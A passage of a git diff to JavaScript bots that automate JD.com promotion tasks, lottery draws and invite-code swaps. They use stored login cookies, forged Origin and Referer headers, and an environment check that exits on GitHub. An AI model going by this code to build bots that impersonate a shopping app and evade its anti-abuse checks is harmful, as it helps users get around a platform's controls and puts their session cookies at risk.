`【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); @@ -50,9 +52,9 @@ if ($.isNode()) { }catch (e) { console.log(JSON.stringify(e)); } + if ($.flag) return; await $.wait(1000); } - //return ; if($.allInvite.length > 0 ){ console.log(`\n开始脚本内互助\n`); } @@ -68,7 +70,7 @@ if ($.isNode()) { for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { $.codeInfo = $.allInvite[j]; $.code = $.codeInfo.code; - if($.UserName === $.codeInfo.userName || $.codeInfo.time === 999){ + if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ continue; } $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; @@ -82,44 +84,34 @@ if ($.isNode()) { async function main() { $.runFlag = false; $.activityInfo = {}; - await takeRequest('showSecondFloorPkInfo'); - if(JSON.stringify($.activityInfo) === '{}'){ - console.log(`获取活动详情失败`); + await takeRequest('superBrandSecondFloorMainPage'); + if($.bizCode == 'MP001'){ + console.log(`本期活动结束,期待下期。。。`); + $.flag = true return ; } console.log(`获取活动详情成功`); $.activityId = $.activityInfo.activityBaseInfo.activityId; $.activityName = $.activityInfo.activityBaseInfo.activityName; - console.log(`当前活动:${$.activityName},ID:${$.activityId}`); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; useInfo[$.UserName] = $.encryptProjectId; + await $.wait(1000); $.taskList = []; - await takeRequest('superBrandTaskList',{"source":"pk","activityId":$.activityId,"assistInfoFlag":1}); - if($.activityInfo.activityPkInfo.userTeamStatus === 0){ - console.log(`去加入战队,选择:${$.teamName}`); - await takeRequest('superBrandPkJoinTeam',{"source":"pk","activityId":$.activityId,"pre":"pre","teamName":$.teamName.toString()}); - }else{ - console.log(`已加入战队`); - } - if (new Date().getHours() >= 20){ - if($.activityInfo.activityPkInfo.userTeamName === $.activityInfo.activityPkInfo.winTeamName && $.activityInfo.activityPkInfo.divideStatus === 0){ - console.log(`去瓜分`); - await takeRequest('superBrandTaskLottery',{"source":"pk","activityId":$.activityId,"encryptProjectId":$.encryptProjectId,"encryptAssignmentId":"2v8f6JzBBTjrvzwZbYztuV9MVWv7","tag":"divide"}); - return ; - } - } else { - console.log('晚上8点后瓜分!') - } - if($.activityInfo.activityPkInfo.divideStatus === 1){ - console.log(`已瓜分`); - return ; - } - if($.activityInfo.activityPkInfo.userTeamStatus !== 0 && $.activityInfo.activityPkInfo.userTeamStatus !== 1){ - return ; - } - await $.wait(3000); + await takeRequest('superBrandTaskList'); + await $.wait(1000); await doTask(); - + if($.runFlag){ + await takeRequest('superBrandSecondFloorMainPage'); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`可抽奖次数:${$.callNumber}`); + } + for (let i = 0; i < $.callNumber; i++) { + console.log(`进行抽奖`); + await takeRequest('superBrandTaskLottery');//抽奖 + await $.wait(1000); + } } async function doTask(){ for (let i = 0; i < $.taskList.length; i++) { @@ -128,27 +120,19 @@ async function doTask(){ console.log(`任务:${$.oneTask.assignmentName},已完成`); continue; } - if($.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 7){ + if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 7 || $.oneTask.assignmentType === 1){ //7是开卡 3是关注店铺 1是浏览会场 if($.oneTask.assignmentType === 7){ console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); }else{ console.log(`任务:${$.oneTask.assignmentName},去执行`); } - let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.productsInfo || $.oneTask.ext.shoppingActivity ||''; + let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity; if(subInfo && subInfo[0]){ - for (let j = 0; j < subInfo.length; j++) { - $.runInfo = subInfo[j]; - if($.runInfo.status !== 1){ - continue; - } - console.log(`任务:${$.runInfo.title || $.runInfo.shopName || $.runInfo.itemId},去执行`); - await takeRequest('superBrandDoTask'); - await $.wait(1000); - } + $.runInfo = subInfo[0]; }else{ $.runInfo = {'itemId':null}; - await takeRequest('superBrandDoTask'); } + await takeRequest('superBrandDoTask'); await $.wait(1000); $.runFlag = true; }else if($.oneTask.assignmentType === 2){ @@ -175,44 +159,40 @@ async function doTask(){ await $.wait(3000); } } + $.runFlag = true; //} } } } -async function takeRequest(type,bodyInfo = '') { +async function takeRequest(type) { let url = ``; let myRequest = ``; - if(bodyInfo){ - url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=${type}&t=${Date.now()}&body=${encodeURIComponent(JSON.stringify(bodyInfo))}`; - }else{ - switch (type) { - case 'showSecondFloorPkInfo': - url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=showSecondFloorPkInfo&t=${Date.now()}&body=%7B%22source%22:%22pk%22%7D`; - break; - case 'superBrandTaskList': - url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22pk%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; - break; - case 'superBrandDoTask': - if($.runInfo.itemId === null){ - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22pk%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; - }else{ - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22pk%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; - } - if($.oneTask.assignmentType === 5){ - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22pk%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; - } - break; - case 'superBrandTaskLottery': - url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22pk%22,%22activityId%22:${$.activityId}%7D`; - break; - case 'help': - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22pk%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; - break; - default: - console.log(`错误${type}`); - } + switch (type) { + case 'superBrandSecondFloorMainPage': + url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandDoTask': + if($.runInfo.itemId === null){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + }else{ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + } + if($.oneTask.assignmentType === 5){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; + } + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); } - myRequest = getRequest(url); return new Promise(async resolve => { $.post(myRequest, (err, resp, data) => { @@ -236,16 +216,12 @@ function dealReturn(type, data) { return; } switch (type) { - case 'showSecondFloorPkInfo': + case 'superBrandSecondFloorMainPage': + $.bizCode = data.data.bizCode; if(data.code === '0' && data.data && data.data.result){ $.activityInfo = data.data.result; } break; - case 'superBrandPkJoinTeam': - if(data.code === '0' && data.data && data.data.success){ - console.log(`加入成功`); - } - break; case 'superBrandTaskList': if(data.code === '0'){ $.taskList = data.data.result.taskList; @@ -272,7 +248,7 @@ function dealReturn(type, data) { $.runFlag = false; console.log(`抽奖失败`); } - console.log(JSON.stringify(data)); + //console.log(JSON.stringify(data)); break; case 'help': @@ -287,7 +263,7 @@ function dealReturn(type, data) { console.log(`助力次数已用完`); }else if (data.code === '0' && data.data.bizCode === '103'){ console.log(`助力已满`); - $.codeInfo.time = 999; + $.codeInfo.time = 3; }else if (data.code === '0' && data.data.bizCode === '2001'){ $.canHelp = false; console.log(`黑号`); @@ -302,11 +278,11 @@ function dealReturn(type, data) { function getRequest(url) { const headers = { - 'Origin' : `https://prodev.m.jd.com`, + 'Origin' : `https://pro.m.jd.com`, 'Cookie' : $.cookie , 'Connection' : `keep-alive`, 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://prodev.m.jd.com/mall/active/3XbzM8XrNaiKRVuD9jHZhj9vYG8d/index.html`, + 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, 'Host' : `api.m.jd.com`, 'User-Agent' : UA, 'Accept-Language' : `zh-cn`, @@ -386,4 +362,4 @@ function getRandomArrayElements(arr, count) { return shuffled.slice(min); } // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_superBrandStar.js b/jd_superBrandStar.js index 284d393..d454f29 100644 --- a/jd_superBrandStar.js +++ b/jd_superBrandStar.js @@ -1,7 +1,7 @@ /** 特务之明星送好礼 -第一个CK黑号,自动退出 -15 5,21 * * * jd_superBrandStar.js +一次性脚本。请禁用! +cron 36 2,19 * * * jd_superBrandStar.js */ const $ = new Env('特务之明星送好礼'); const notify = $.isNode() ? require('./sendNotify') : ''; @@ -30,7 +30,7 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); + //await TotalBean(); console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || 